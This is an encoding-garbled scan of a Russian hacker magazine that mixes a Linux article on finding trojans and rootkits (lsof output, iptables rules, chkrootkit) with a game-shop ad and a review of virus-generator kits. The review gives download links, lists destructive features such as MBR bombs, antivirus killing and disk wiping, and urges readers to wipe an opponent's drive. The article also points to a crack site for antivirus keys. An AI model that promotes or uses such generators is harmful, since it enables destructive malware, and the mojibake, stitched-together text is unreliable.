ÑËÎÂÎ Î ÑÊÐÈÏÒÀÕ
Åñëè òû ëèíóêñîèä, òî çíàåøü, ÷òî â ñèñòåìå ñóùåñòâó-

åò ïîíÿòèå "ñòàðòîâûé ñêðèïò", êîòîðûé îáðàáàòûâàåòñÿ
êàæäûé ðàç ïðè åå ñòàðòàïå. Âñå êîìàíäû â íåì âûïîëíÿò-
ñÿ ïîä ñóïåðïîëüçîâàòåëåì. Èìåííî â íèõ îáæèâàåòñÿ
ýëåêòðîííàÿ çàðàçà, òèïà ðàçëè÷íûõ òðîÿíîâ (âèðóñû çàïè-
ñûâàþò ñåáÿ íåïîñðåäñòâåííî â ñòðóêòóðó ñèñòåìíîãî ôàé-
ëà). Êàçàëîñü áû, îáíàðóæèòü òðîé ñðåäè ñêðèïòîâ î÷åíü
ïðîñòî, íî ýòî íå ñîâñåì òàê. Áîëüøèå ñòàðòîâûå ôàéëû
î÷åíü ñëîæíî ÷èòàòü, à åñëè ó÷åñòü, ÷òî áýêäîðû ìàñêèðó-
þòñÿ ïîä èìåíà êàêèõ-ëèáî ìîäóëåé, òî çàäà÷à óñëîæíÿåò-
ñÿ â íåñêîëüêî ðàç. Íî ýòî îïÿòü æå â ñëó÷àå, åñëè çàðàçà
áûëà çàïóùåíà ïîä ñóïåðïîëüçîâàòåëåì. Åñëè çëî-ïðîã-
ðàììà ñòàðòóåòñÿ îáû÷íûì þçåðîì, òî ó íåå, ïîæàëóé,
åäèíñòâåííûé ñïîñîá ïîâòîðíî çàïóñòèòüñÿ â ñèñòåìå -
crontab ïîëüçîâàòåëÿ. Ïîýòîìó ðåãóëÿðíàÿ ïðîâåðêà
crontab-ñêðèïòà íå áóäåò ëèøíåé.

Âñå ñòàðòîâûå ôàéëû ðàñïîëàãàþòñÿ â êàòàëîãå /etc/rc.d/
äëÿ Linux, ëèáî â /etc/rc.* äëÿ FreeBSD. Óáåäèñü, ÷òî ïðîñ-
òîé ñìåðòíûé íå ñïîñîáåí çàïèñàòü â íèõ êîìàíäû. È âîîá-
ùå, ðåãóëÿðíàÿ ïðîâåðêà òàêèõ ñòàðòîâûõ äîêóìåíòîâ íè-
êîãäà íå ïîìåøàåò, åñëè ó÷åñòü, ÷òî òåáÿ ìîã çàðóòàòü êðó-
òîé õàêåð èç èíòåðíåòà =).

Ïîëíàÿ èíôîðìàöèÿ î ñåòåâûõ ñîåäèíåíèÿõ
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Grand Theft Auto:
Vice City 

Star Wars
Galaxies: An
Empire Divided 

WarCraft III: The
Frozen Throne 

Dark Age of
Camelot: Gold
Edition 

Neverwinter
Nights: Shadows
of Undrentide 

Half-Life 2

Max Payne 2: The
Fall of Max Payne 

PC Games

$75.99

$79.99

The Matrix : 
Enter The Matrix 

$79,99 $15.99

$62,99 $55.99

$79,99 

$79.99

Microsoft Flight
Simulator 2004: 
A Century of Flight 

$95,99  

Star Wars Jedi
Knight: Jedi Academy 

$79.99

Tomb Raider: The
Angel of Darkness 

$39.99

Commandos 3:
Destination Berlin
(US version) 

$79,99  

(095) 928-6089 (095) 928-0360 (095) 928-3574

www.e-shop.ru www.gamepost.ru

ÈÃÐÛ ÏÎ ÊÀÒÀËÎÃÀÌ Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

e-mail: sales@e-shop.ru
ñ 10.00 äî 21.00 ïí - ïò 
ñ 10.00 äî 19.00 ñá - âñ   
ñòîèìîñòü äîñòàâêè

ñíèæåíà íà 10%!

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 10.00 äî 21.00 ïí - ïò 

ñ 10.00 äî 19.00 ñá - âñ   
ÑÓÏÅÐÏÐÅÄËÎÆÅÍÈÅ ñòîèìîñòü äîñòàâêè
ÄËß ÈÍÎÃÎÐÎÄÍÈÕ ÏÎÊÓÏÀÒÅËÅÉ ñíèæåíà íà 10%!
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Ñèñòåìíûìè
óòèëèòàìè
ëåãêî ïîëü-
çîâàòüñÿ
ëèøü â òîì
ñëó÷àå, åñ-
ëè òû óæå
íàáèë ðóêó.
Êîíå÷íî,
÷åëîâåê, êî-
òîðûé ïåð-
âûé ðàç
ñòîëêíóëñÿ
ñ êîìàíäîé
netstat, íå
óâèäèò â åå
âûâîäå íè-
÷åãî ïîëåç-
íîãî. Â ýòîì
ñëó÷àå òåáå
ïîìîãóò...
íàøè äîá-
ëåñòíûå
ïðîãðàììèñ-
òû.

ÑÅÒÅÂÀß È ÑÈÑÒÅÌÍÀß
ÀÊÒÈÂÍÎÑÒÜ

Ïî àíàëîãèè ñ âèíäîé, â ïèíãâèíå
ñóùåñòâóåò êîìàíäà netstat. Îíà ïî-
êàçûâàåò ñîñòîÿíèå ïîðòîâ è ñåòå-
âûå ïîäêëþ÷åíèÿ â äàííûé ìîìåíò.
Åå âûâîä ãîðàçäî äëèííåå, ïî ñðàâ-
íåíèþ ñ Win32, ïîýòîìó èñïîëüçóé
êîìàíäó netstat -an | grep LISTEN, ëè-
áî netstat -an | grep ESTABLISHED.
Òåì ñàìûì òû îòôèëüòðóåøü âñþ èí-
ôîðìàöèþ, êðîìå ñîñòîÿíèÿ ïîðòîâ
è àêòèâíûõ ïîäêëþ÷åíèé. Âåñüìà ïî-
ëåçíà îïöèÿ -p ýòîãî æå ïðèëîæåíèÿ,
êîòîðîé íåò â Win32. Ñ ïîìîùüþ ýòî-
ãî êëþ÷èêà ñòàíîâèòñÿ âîçìîæíûì
ïîñìîòðåòü PID è ïîëíûé ïóòü ê ôàé-
ëó, êîòîðûé ðàáîòàåò ñ óêàçàííûì
ïîðòîì.
Ê ñëîâó ñêàçàòü, ëþáîé óâàæàþùèé
ñåáÿ rootkit (êîìïëåêò çàðàæåííûõ
óòèëèò äëÿ ïðåäîñòàâëåíèÿ äîïîëíè-
òåëüíûõ ïðèâèëåãèé õàêåðó) ñîäåð-
æèò â ñâîåì êîìïëåêòå èçìåíåííûå
áèíàðíûå ôàéëû netstat, ps, kill è
ïðî÷èå âàæíûå áèíàðíèêè. Î òîì,
êàê îáíàðóæèòü òàêóþ ïîääåëêó, ÿ
ðàññêàæó â ñëåäóþùåì ðàçäåëå.
À òåïåðü çàîñòðèì âíèìàíèå íà òîì,
÷òî çàðàçà ìîæåò íàçûâàòüñÿ ñëóæåá-
íûì èìåíåì è äàæå ìîæåò áûòü âèäíà
â òàáëèöå ïðîöåññîâ. Ïðè ýòîì ïîëü-
çîâàòåëü äàæå íå äîãàäàåòñÿ, ÷òî ýòîò
ïðîöåññ ÿâëÿåòñÿ òðîÿíîì. ×òîáû îï-
ðåäåëèòü, êàêèå â äàííûé ìîìåíò áèá-
ëèîòåêè þçàåò ïðèëîæåíèå, ñóùåñò-
âóåò ïðèëîæåíèå lsof (ftp://lsof.itap.

purdue.edu/pub/
tools/unix/lsof). Áåç ïàðàìåòðîâ îíî
ïîêàæåò òåáå âñþ àêòèâíîñòü ïðèëî-
æåíèé. Åñëè îòôèëüòðîâàòü åãî îòâåò
ïî îòäåëüíîé çàäà÷å, ïîëó÷àåì ñïèñîê
áèáëèîòåê, èñïîëüçóåìûõ îïðåäåëåí-
íûì ïðîöåññîì. Íàïðèìåð:

[root@forbik root]# lsof | grep httpd
httpd       441     root  cwd    DIR        3,6
440          2 /
httpd       441     root  rtd    DIR        3,6
440          2 /
httpd       441     root  txt    REG        3,6
607140     128187 /usr/www/bin/httpd
httpd       441     root  mem    REG
3,6      68088        179 /lib/ld-2.2.6.so
httpd       441     root  mem    REG
3,6      36404        197 /lib/libnss_files-
2.2.6.so
httpd       441     root  mem    REG
3,6      12744      25425 /lib/libnss_dns-
2.2.6.so
httpd       441     root  mem    REG
3,6    1147144        187 /lib/listen31337.so

Èç òàáëèöû âèäíî, ÷òî áèíàðíèê httpd
çàðàæåí è èñïîëüçóåò â ñâîåé ðàáîòå
áèáëèîòåêó listen31337.so. Åå íàçâà-
íèå âåñüìà óñëîâíî, íî îòðàæàåò ñè-
òóàöèþ â ïîëíîì îáúåìå.

ÍÀ ÊÀÆÄÎÅ ÄÅÉÑÒÂÈÅ ÅÑÒÜ
ÏÐÎÒÈÂÎÄÅÉÑÒÂÈÅ!

Ïîä Linux òàêæå ñóùåñòâóþò ñâîè
àíòèâèðóñû. Ñðåäè íèõ îïÿòü æå ñà-
ìûå ïîïóëÿðíûå - DrWeb è AVP. Îíè
óìåþò íå òîëüêî ïðîâåðÿòü ñèñòåì-
íûå ôàéëû è ïåðåõâàòûâàòü çàðàçó
"íà ëåòó", íî è ðàáîòàòü ñîâìåñòíî ñ
ïî÷òîâûìè ñåðâåðàìè, îáåðåãàÿ þçå-
ðîâ îò ëèøíèõ ïðîáëåì =).

Ðàññìîòðèì ïðîñòåéøèé DrWeb
(ftp://ftp.drweb.ru/pub/unix/4.29.5/dr

web-4.29.5-glibc.2.2.tar.gz). Ïîñëå åãî
óñòàíîâêè íåîáõîäèìî çàðåãèñòðèðî-
âàòü êîïèþ. Êëþ÷è áóäóò íàõîäèòüñÿ
â ñïåöèàëüíîì ôàéëå drweb.ini. Íàé-
òè åãî ìîæíî íà êðÿê-ïîèñêîâèêå,
íàïðèìåð íà http://astalavista.box.sk/.
Çàòåì íàáåðè êîìàíäó man drweb è

óçíàåøü ïîë-
íóþ èíôîðìà-
öèþ î ïàðàìåò-
ðàõ çàïóñêà àí-
òèâèðóñà.
Ïîìíè, ÷òî âèðó-
ñû ìîãóò íàõî-
äèòüñÿ â îïåðà-
òèâíîé ïàìÿòè è
çàðàçèòü ñàì
DrWeb. Ïîýòîìó
â íåì âñòðîåíà
çàùèòà - ïðîã-
ðàììà àâòîìàòè-
÷åñêè âûãðóæà-
åòñÿ ïðè ïîïûò-
êå çàðàæåíèÿ.
Èíîãäà ïðèõî-

äèòñÿ çàïóñêàòü àíòèâèðü èç íåñòàí-
äàðòíûõ êàòàëîãîâ, êîòîðûå âèðè
ïðîñòî íå îáðàáàòûâàþò (ÿ ñàì âîññòà-
íàâëèâàë ñèñòåìó èç êàòàëîãà /dev
ïîñëå àòàêè âèðóñà). Âîîáùå, äëÿ ïîë-
íîãî ïðåäñòàâëåíèÿ î âèðå, ñ êîòîðûì
èìååøü äåëî, ïîëåçíî çàãëÿíóòü íà
ñàéòû ïî âèðóñîëîãèè.

Ïîìèìî àíòèâèðóñîâ ñóùåñòâóåò ìíî-
æåñòâî ïðîãðàìì, íàöåëåííûõ íà îáíà-
ðóæåíèå âñÿ÷åñêèõ èçìåíåíèé â ñèñòå-
ìå, â òîì ÷èñëå md5-ñóììû ôàéëîâ.
Èìåííî ñ ïîìîùüþ òàêîãî ñîôòà ïîëü-
çîâàòåëü ìîæåò îïðåäåëèòü çàìåíó áè-
íàðíîãî ôàéëà èëè çàäåòåêòèòü íàëè-
÷èå âèðÿ â ñèñòåìå. Íàèáîëåå ðàñïðîñò-
ðàíåííîé ñîôòèíîé ïîäîáíîãî ðîäà ÿâ-
ëÿåòñÿ tripwire (http://download.source-
forge.net/tripwire/tripwire-2.3.1-2.tar.gz).
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Ïîìíè, ÷òî âèðóñû ìîãóò íàõîäèòüñÿ 
â îïåðàòèâíîé ïàìÿòè è çàðàçèòü 
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Òðîÿíû â Linux âñåãäà âûáèðàþò èçûñêàííûå êàòàëîãè äëÿ ñâî-
åãî ïðîæèâàíèÿ. Îíè ëþáÿò íàõîäèòüñÿ âî âñÿêèõ äèðåêòîðèÿõ, òè-
ïà /dev/fdddd èëè /lib/.modules. Áûâàåò, ÷òî çàðàçà çàïèñûâàåòñÿ â
äîìàøíèé êàòàëîã ïîëüçîâàòåëÿ, ìàñêèðóÿñü ïîä ôàéë "  " (äâà
ïðîáåëà ;)). È ýòî ïðàâèëüíî, âåäü â Linux íà èìåíà ôàéëîâ ââîäèò-
ñÿ ëèøü îäíî îãðàíè÷åíèå - ñèìâîë "/".

ÌÅÑÒÀ ÎÁÈÒÀÍÈß ÇÀÐÀÇÛ

DrWeb ïîä Linux. Ïðîñòî è óäîáíî!

Ïîëíûé âûâîä lsof

Ïîìèìî àíòèâèðóñîâ ñóùåñòâóåò
ìíîæåñòâî ïðîãðàìì, íàöåëåííûõ 

íà îáíàðóæåíèå âñÿ÷åñêèõ èçìåíåíèé 
â ñèñòåìå



Ïðè óñòàíîâêå íàäî çàïóñòèòü ñêðèïò,
êîòîðûé ñîçäàñò ïåðâè÷íóþ ôàéëîâóþ
áàçó. Èìåííî ñ íåé åæåäíåâíî áóäóò
ñðàâíèâàòüñÿ âñå èçìåíåíèÿ, à ðóò áó-
äåò ïîëó÷àòü íåñêîëüêî êèëîáàéò ñïà-
ìà íà ýòó òåìó ;).

Îò ðàçíîãî ðîäà òðîÿíîâ ïîìîãàåò çà-
ùèòà ôàåðâîëà. Linux-ïîëüçîâàòåëÿì
ïîâåçëî - èì íå ïðèäåòñÿ èñêàòü êà-

êóþ-ëèáî ñîô-
òèíó èç ýòîé îò-
ðàñëè. Äîñòà-
òî÷íî âîñïîëü-
çîâàòüñÿ ñèñ-
òåìíîé óòèëè-
òîé iptables.

×òîáû îáåçîïà-
ñèòü ñåáÿ îò
âîçäåéñòâèÿ
áýêäîðîâ è ðóò-
êèòîâ, ïðîñòî
çàêðîåì âñå
ïîðòû, îñòàâèâ
ëèøü ñèñòåì-
íûå, íà êîòîðûõ
íàõîäÿòñÿ äîâå-
ðåííûå ñåðâè-

ñû. Èòàê, ñ ïîìîùüþ íåñêîëüêèõ ïðà-
âèë, ìû ðåàëüíî óáåðåæåì ñèñòåìó îò
âíåøíèõ (è âíóòðåííèõ) çëîóìûøëåí-
íèêîâ.
# /sbin/iptables -A INPUT -j ACCEPT -p
tcp -m multiport --destination-port
21,22,25,53,80,110
## Îòêðîåì íåîáõîäèìûå ïîðòû.
# /sbin/iptables -A INPUT -j ACCEPT -i lo

## Ðàçðåøèì îáìåí ïàêåòàìè ïî ëî-
êàëüíîìó èíòåðôåéñó.
# /sbin/iptables -A INPUT -j ACCEPT -p
tcp -m state --state RELATED,ESTAB-
LISHED
## Ïîçâîëèì ïðîõîäèòü ïàêåòàì îò
óæå óñòàíîâëåííûõ ñîåäèíåíèé.
# /sbin/iptables -P INPUT DROP
## Ñìåíèì ïîëèòèêó öåïî÷êè INPUT
íà DROP (çàïðåò íà âñå ïàêåòû êðîìå
èñêëþ÷åíèé, îïèñàííûõ ðàíåå).
# /sbin/service iptables save
## Ñîõðàíèì ïðàâèëà â îòäåëüíîì
ñêðèïòå.

Òàêèì îáðàçîì, ïîñëå ïðàâèëüíîé
óñòàíîâêè ôàåðâîëà, ïîäêëþ÷èòüñÿ
ê òâîåé ìàøèíå íà íåîáúÿâëåííûé
ïîðò ñòàíîâèòñÿ íåâîçìîæíûì.
Âòîðûì ñïîñîáîì çàùèòû îò ðóòêè-
òîâ ÿâëÿþòñÿ ñïåöèàëüíûå ïðîãðàì-
ìû, íàöåëåííûå íà äåòåêòèðîâàíèå
çàðàçû. Ïðèìåð òàêîé ñîôòèíû - ïà-
êåò chkrootkit
(ftp://ftp.pangeia.com.br/pub/seg/pac/
chkrootkit.tar.gz). Ïîëåçíîñòü ýòîé
ïðîãè çàêëþ÷àåòñÿ â ñëåäóþùåì:
ïîñëå çàïóñêà óòèëèòà ïðîâåðÿåò äå-
ôîëòîâûå ñèãíàëû èçâåñòíûõ åé
ðóòêèòîâ, çàòåì èùåò çàðàçó â îïðå-
äåëåííûõ ñêðûòûõ äèðåêòîðèÿõ è
ñêàíèò áèíàðíûå ôàéëû íà ïðåäìåò
çàðàæåíèÿ. Ïîñëå âñåãî ýòîãî ïîëü-
çîâàòåëü ïîëó÷èò ïîëíûé îò÷åò î
ðàáîòå ïðîãðàììû.

È ÍÀÏÎÑËÅÄÎÊ...
Ýòî äàëåêî íå âñå ìåòîäû îïðå-

äåëåíèÿ è çàùèòû ñèñòåìû îò âèðó-
ñîâ. Åñëè ó÷èòûâàòü, ÷òî âèðóñìåé-
êåðû íå ñòîÿò íà ìåñòå, à èùóò âñå
íîâûå ñïîñîáû íåçàìåòíîãî çàðà-
æåíèÿ ñèñòåìû, ìîæíî ñäåëàòü âû-
âîä - àáñîëþòíîé çàùèòû íå ñóùå-
ñòâóåò. Îñòàåòñÿ ëèøü íàäåÿòüñÿ,
÷òî ðàçðàáîò÷èêè àíòèâèðóñíîãî ÏÎ
òîæå íå äðåìëþò è ñâîåâðåìåííî
îáíîâëÿþò ñâîè áàçû, à òàêæå ñîç-
äàþò ìåòîäèêó ëå÷åíèÿ ïðèëîæåíèé
îò òîãî èëè èíîãî âèðÿ.             A
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Ìóòèì çàùèòó îò âíåøíèõ âðàãîâ

Ëèøíÿÿ ïðîâåðêà ñèñòåìû åùå íèêîìó íå ïîìåøàëà

Ïîìèìî àí-
òèâèðóñîâ
ñóùåñòâóåò
ìíîæåñòâî
ïðîãðàìì,
íàöåëåííûõ
íà îáíàðó-
æåíèå âñÿ-
÷åñêèõ èç-
ìåíåíèé â
ñèñòåìå, â
òîì ÷èñëå
md5-ñóììû
ôàéëîâ.
Èìåííî ñ
ïîìîùüþ
òàêîãî ñîô-
òà ïîëüçî-
âàòåëü ìî-
æåò îïðåäå-
ëèòü çàìåíó
áèíàðíîãî
ôàéëà èëè
çàäåòåêòèòü
íàëè÷èå âè-
ðÿ â ñèñòå-
ìå.

Òàêèì îáðàçîì, ïîñëå ïðàâèëüíîé 
óñòàíîâêè ôàåðâîëà, ïîäêëþ÷èòüñÿ 
ê òâîåé ìàøèíå íà íåîáúÿâëåííûé 

ïîðò ñòàíîâèòñÿ íåâîçìîæíûì.



NEXT GENERATION VIRUS
CONSTRUKTION KIT 
Âñå åùå åñòü æåëàíèå ñãåíå-
ðèòü âèðóñ, íî òû íå çíàåøü,
÷åì ïîëüçîâàòüñÿ? Íó, òîãäà

ëîâè ïåðâîãî "ñîçäàâàòåëÿ" âèðóñîâ íîâîãî
(êàê çàâåðÿþò àâòîðû) ïîêîëåíèÿ. Íà ñàìîì

äåëå, NG Virus Construktion Kit ïðåäñòàâëÿåò
àáñîëþòíî íîâîå äëÿ òàêîãî ðîäà ïðîãðàìì
(êîòîðûå íàïðàâëåíû íà òî, ÷òîáû âûðûòü
ÿìó ìíîãî÷èñëåííûì ñîñåäÿì) êà÷åñòâî. Äåëî
â òîì, ÷òî áîëüøàÿ ÷àñòü ãåíåðàòîðîâ ñîçäà-
íà òàêèì îáðàçîì, ÷òî ðàçîáðàòüñÿ â èíòåð-
ôåéñå ìîæåò ðàçâå ÷òî ñàì ðàçðàáîò÷èê.
Çäåñü æå â îïòèìàëüíûõ ïðîïîðöèÿõ ñî÷åòà-
þòñÿ ïðîñòîòà è ôóíêöèîíàëüíîñòü. Ýòîò ãå-
íåðàòîð ïîçâîëèò çàøèôðîâàòü âèðóñ, ÷òîáû
îí íå ïîïàäàëñÿ íà ãëàçà, ïðè÷åì ñäåëàòü ýòî
ìîæíî ðàçíûìè ñïîñîáàìè.
Ìîæíî çàðàæàòü ôàéëû â ñèñòåìíûõ äèðåê-
òîðèÿõ, ïðè÷åì ðàçìåð çàðàæàåìûõ ôàéëîâ
ìîæíî ðåãóëèðîâàòü. Åñòü ñðåäñòâà äëÿ êîíñ-
ïèðàöèè.
Íó è, åñòåñòâåííî, âîïðîñ î ðàçìíîæåíèè òî-
æå ðåøàåòñÿ. Êàê òîëüêî âñå ïàðàìåòðû âûá-
ðàíû ñîîòâåòñòâåííî ïîæåëàíèÿì, íàñòóïàåò
âðåìÿ äëÿ íàæàòèÿ êíîïêè "Create". Â îá-
ùåì, ýòîò êîíñòðóêòîðñêèé íàáîð - ÿâíûé
ïðèìåð çàáîòû î ðÿäîâîì îòå÷åñòâåííîì âè-
ðóñîïèñàòåëå, êîòîðûé íî÷åé íå ñïèò ðàäè
ñîçäàíèÿ áîëåå èëè ìåíåå ñíîñíîãî âèðóñà,

íî â òî æå âðåìÿ íå õî÷åò óòðóæäàòü ñåáÿ
íóäíûì ïðîãðàììèíãîì...

NUKE RANDOMIC LIFE GENERATOR 

Íó âîò. Ïîñìîòðåëè íà äîñòèæåíèÿ ïîêîëå-
íèÿ Next, à òåïåðü ïðèøëî âðåìÿ âñïîìíèòü
"ïðåäàíüÿ ñòàðèíû ãëóáîêîé".
NuKE RANDOMIC LIFE GENERATOR - ýòî ñà-
ìûé ñòàðûé â íàøåì îáçîðå ãåíåðàòîð çëà.
Îí áûë âûäóìàí àæ â 1994 ãîäó, íî, òåì íå
ìåíåå, ýòî î÷åíü êà÷åñòâåííûé ïðîäóêò. Ñà-
ìîå óäèâèòåëüíîå, ÷òî, íåñìîòðÿ íà ãîä âû-
ïóñêà, ïðîãà èìååò î÷åíü ïðîñòîé, èíòóèòèâ-
íî ïîíÿòíûé èíòåðôåéñ. Ñ òàêèì îïóñîì
ìîæíî íàäåëàòü ðåçèäåíòíûõ COM/EXE-âè-
ðóñîâ. Äëÿ ýòîãî âûáèðàé ïóíêò New Monster
(íåóäîáíî áåç ìûøè, íàâåðíîå). Â íåì íóæ-
íûå òåáå ïðèìî÷êè â âèðóñ. Âêëþ÷àé êàêèå
õî÷åøü - è âïåðåä, â ïóíêò Create. Âûáèðà-
åøü ïóíêò Create, ïîñëå ýòîãî ïðîãðàììà
ñîçäàåò ôàéë virus.asm.
Îñòàåòñÿ òîëüêî ñêîìïèëèðîâàòü. Êñòàòè, î
ïðèìî÷êàõ. Âîò òîëüêî íåêîòîðûå èç íèõ:
-Mbr bomb (ïûòàåòñÿ óáèòü Ãëàâíóþ çàãðó-
çî÷íóþ çàïèñü)
-Memory Stealth (ïðÿ÷åòñÿ)
-Kill antivirus (áåç êîììåíòàðèåâ)
-Activation data
Êàê âèäèøü, íûíåøíèé ãåíåðàòîð ïî÷òè íè â
÷åì íå ïåðåñåêàåòñÿ ñ Next Generation Virus
Construktion Kit. Ïîýòîìó èñïîëüçîâàíèå îä-
íîãî èç íèõ íå ëèøàåò âîçìîæíîñòè çàþ-
çàòü è âòîðîé. Êîðî÷å ãîâîðÿ, åñëè íå ëîìà-
åò ïîëüçîâàòüñÿ òàêîé äîèñòîðè÷åñêîé
âåùüþ, òî ïîïðîáóé - íåïëîõàÿ øòóêà.

»
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Win9x/WinNT
Size
75 Êá

http://vx.netlux.org/vx.php?id=tidx

Åðîìàëàåâ Åâãåíèé aka Saturn

Ì íîãèå þíûå õàêåðû õîòÿò ïîñêîðåå íàïèñàòü âèðóñ è ðàçîñëàòü åãî ïî
âñåìó ìèðó. Òû îäèí èç íèõ? Òîãäà ÷èòàé äàëüøå. Åñëè íåò, âñå ðàâíî ÷è-

òàé - ïðèãîäèòñÿ... ×òîáû íàïèñàòü êàêîé-íèáóäü ìàëî-ìàëüñêè âðåäíûé âèðóñ,
íóæíî èçó÷èòü C, C++ è ïðî÷èé àññåìáëåð. Íî ýòî ëèøü îäèí èç âàðèàíòîâ.
Äðóãîé çàêëþ÷àåòñÿ â òîì, ÷òî ìîæíî äåëàòü âèðóñû ïðè ïîìîùè íåñêîëüêèõ
êëèêîâ ìûøüþ. Åñëè òû ïîñëå äîëãèõ ðàçäóìèé ðåøèë ïîéòè ïî âòîðîìó ïóòè,
òî äîáðî ïîæàëîâàòü â ìèð âèðóñíûõ ãåíåðàòîðîâ è êîíñòðóêòîðîâ.

ÃÅÍÅÐÀÒÎÐÛ ÇËÀ
ÎÁÇÎÐ ÃÅÍÅÐÀÒÎÐÎÂ ÂÈÐÓÑÎÂ

Ms-dos/Win9x/WinNT
Size
59 Êá

http://h-zver.narod.ru/Soft/Virus/HACK-
ZVEREvirus.htm

Êîíñòðóêòîðñêèé íàáîð for Next Generation

Î÷åíü ñòàðàÿ ïðîãðàììà, íî ôóíêöèé ìíîãî

100 Ãåíåðàòîðû çëà
Îáçîð âèðóñíûõ ãåíåðàòîðîâ

102 Ïîñòàâü
ïðåäîõðàíèòåëü
Îáçîð àíòèâèðóñîâ

106 Êíèæíàÿ ëàâêà
Îáçîð êíèæíûõ íîâèíîê

110 ×òîáû âðåìÿ íå òåðÿòü
Îáçîð ñåòè íà íàëè÷èå 
âêóñíûõ ñàéòîâ

Content:
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PETIK SCRIPT WORM AND VIRUS
GENERATOR

Åñëè èíòåðôåéñ ãåíåðàòîðîâ âñÿêîé
âðåäîíîñíîé íà÷èíêè áóäåò óïðî-
ùàòüñÿ òàê ñòðåìèòåëüíî, êàê ñåé÷àñ,
òî ñêîðî ëèáî Êàñïåðñêèé ñòàíåò áî-
ãàòûì, êàê Áèëë Ãåéòñ, ëèáî ëþäè áó-
äóò óáèâàòü êîìï âûõîäîì â èíòåðíåò.
Âîò òàêèå ìûñëè íàâåÿëî çíàêîìñòâî
ñ PetiK Script Worm and Virus
Generator.
Åñòü ïðîãðàììèñòû, êîòîðûå ïèøóò ãå-
íèàëüíûå ïðîãðàììû, íî íå ìîãóò (íå
õîòÿò) ñíàáäèòü èõ ïîíÿòíûì èíòåð-
ôåéñîì. Íî ýòîò, âèäèìî, ïîøåë äðó-
ãèì ïóòåì. Íàðèñîâàë 4 êíîïêè, íî òàê
è íå ïðèäóìàë èì äîñòîéíîãî ïðèìå-
íåíèÿ. Åãî ãåíåðàòîð äåëàåò VBS-÷åð-
âÿ è "HTML"-âèðóñ. ×åðâü íè÷åãî, êðî-
ìå ðàçìíîæåíèÿ, íå äåëàåò, à âèðóñ
çàðàæàåò íåñêîëüêî ïàïîê.
Íó âîò, â îáùåì-òî, è âñå, ÷òî ìîæíî
ñêàçàòü ïðî ýòó ïðîãó...

ACCESS MACRO GENERATOR

Ïðåäñòàâü ñåáå, ÷òî â Ñåòè ïîÿâèëñÿ
âèðóñ, êîòîðûé óáèâàåò âñþ èíôó íà
âèíòå. Ðàçóìååòñÿ, îò íåãî íåò ñïàñå-
íèÿ. Ïîýòîìó ÷åðåç ïàðó-òðîéêó äíåé
ðàáîòîñïîñîáíûå êîìïüþòåðû îñòàþò-
ñÿ òîëüêî ó òåõ, êòî óñïåë êóïèòü ïîñ-
ëåäíèå "ñåðûå" ôîðòî÷êè íà Ãîðáóøêå,
è ó ñîçäàòåëÿ ýòîãî ÷óäà âèðóñîïèñà-
íèÿ. Òàê ÷òî åñëè õî÷åøü ñîõðàíèòü èí-
ôó íà ñâîåì æåñòêîì äèñêå, óáåé èíôó
íà âèíòå ïîòåíöèàëüíîãî ïðîòèâíèêà
(âî êàê!). Â ýòîì òåáå ÷àñòè÷íî ïîìîæåò
êîíñòðóêòîð ïîä íàçâàíèåì ACCESS
MACRO GENERATOR. Ïðåæäå ÷åì ïðèñ-
òóïèòü ê îïèñàíèþ ýòîãî ïðîäóêòà, ïðè-
âåäó íåñêîëüêî ñòðîê èç "äîêóìåíòà-
öèè": "Èìåþ ÷åñòü ïðåäñòàâèòü Âàì îä-
íó èç ñàìûõ óäà÷íûõ ìîèõ ðàçðàáîòîê,
èìÿ êîòîðîé - AMG. Â ýòîì ãåíåðàòîðå
âû ìîæåòå äåëàòü âèðóñû äëÿ access97.
Íà ñàìîì äåëå, AMG - ýòî óáèéñòâåííûé
ãåíåðàòîð, â òîì ñìûñëå, ÷òî ïî÷òè âñå
ôóíêöèè ïîòåíöèàëüíûõ âèðóñîâ (5 èç
6) çàêëþ÷àþòñÿ â òîì, ÷òîáû óáèòü ÷òî-
íèáóäü èç èíôîðìàöèîííûõ çàïàñîâ
áåäíîãî þçåðà. Åäèíñòâåííàÿ âåùü, êî-
òîðàÿ íå ñîîòâåòñòâóåò ýòîìó îïðåäåëå-
íèþ è êîòîðóþ òàêæå ìîæíî äîáàâèòü â
âèðóñ - ýòî messagebox (achtung!!!)."
Òàê ÷òî æå êîíêðåòíî ìîæíî ñäåëàòü ñ
ïîìîùüþ ýòîé ïðîãè? Óáèòü âñå ôàé-
ëû íà äèñêå, óáèòü òîëüêî dll, íå îñòà-
âèòü â æèâûõ ìàñòäàé èëè îòïðàâèòü â
ïîñëåäíèé ïóòü ïðîãðàììíûå ôàéëû.
Ðåçþìå: ýòîò ãåíåðàòîð ïðåäîñòàâëÿ-
åò ìíîæåñòâî ñïîñîáîâ èçâðàùåíèÿ
íàä æåñòêèì äèñêîì, íî, ê ñîæàëåíèþ,
íè÷åãî áîëüøåãî. È ïîñêîëüêó îí ñîç-

äàí äåëàòü âèðóñû ïîä access97, òî
óæå ìîðàëüíî óñòàðåë.
P.S. Ýòîò îïóñ íàîòðåç îòêàçûâàåòñÿ
ðàáîòàòü áåç Msvbvm50.dll, ÷òî íå äå-
ëàåò åìó ÷åñòè :).

ELEKTRONNY PISATEL VIRUSOW

Òåáå íàäîåë àíãëèéñêèé èíòåðôåéñ
ãåíåðàòîðîâ, ïåðå÷èñëåííûõ â îáçî-
ðå? Õî÷åòñÿ ÷åãî-íèáóäü ðîäíîãî,
îòå÷åñòâåííîãî, íà ðóññêîì ÿçûêå?
Íó òîãäà òû ïðàâèëüíî ñäåëàë, äî÷è-
òàâ äî êîíöà.
Èòàê, ïðîäóêò îòå÷åñòâåííîãî ãåíå-
ðàòîðîñòðîåíèÿ - Ýëåêòðîííûé Ïèñà-
òåëü Âèðóñîâ - ñàìàÿ "âåñîìàÿ" ñðå-
äè âñåõ ïåðå÷èñëåííûõ ïðîãðàìì. Íà
ìîé âçãëÿä, ýòî ëó÷øèé ãåíåðàòîð
âèðóñîâ. Òàêîå êîëè÷åñòâî ïðèìî÷åê
â ïðîãðàììàõ ïîäîáíîãî ðîäà âñòðå-
÷àåòñÿ î÷åíü ðåäêî. Âûáèðàåøü òè-
ïû ôàéëîâ äëÿ çàðàæåíèÿ (COM,
EXE èëè îáà òèïà), ìîæåøü îòêàçàòü-
ñÿ îò òîãî, ÷òîáû âèðóñ çàðàæàë win-
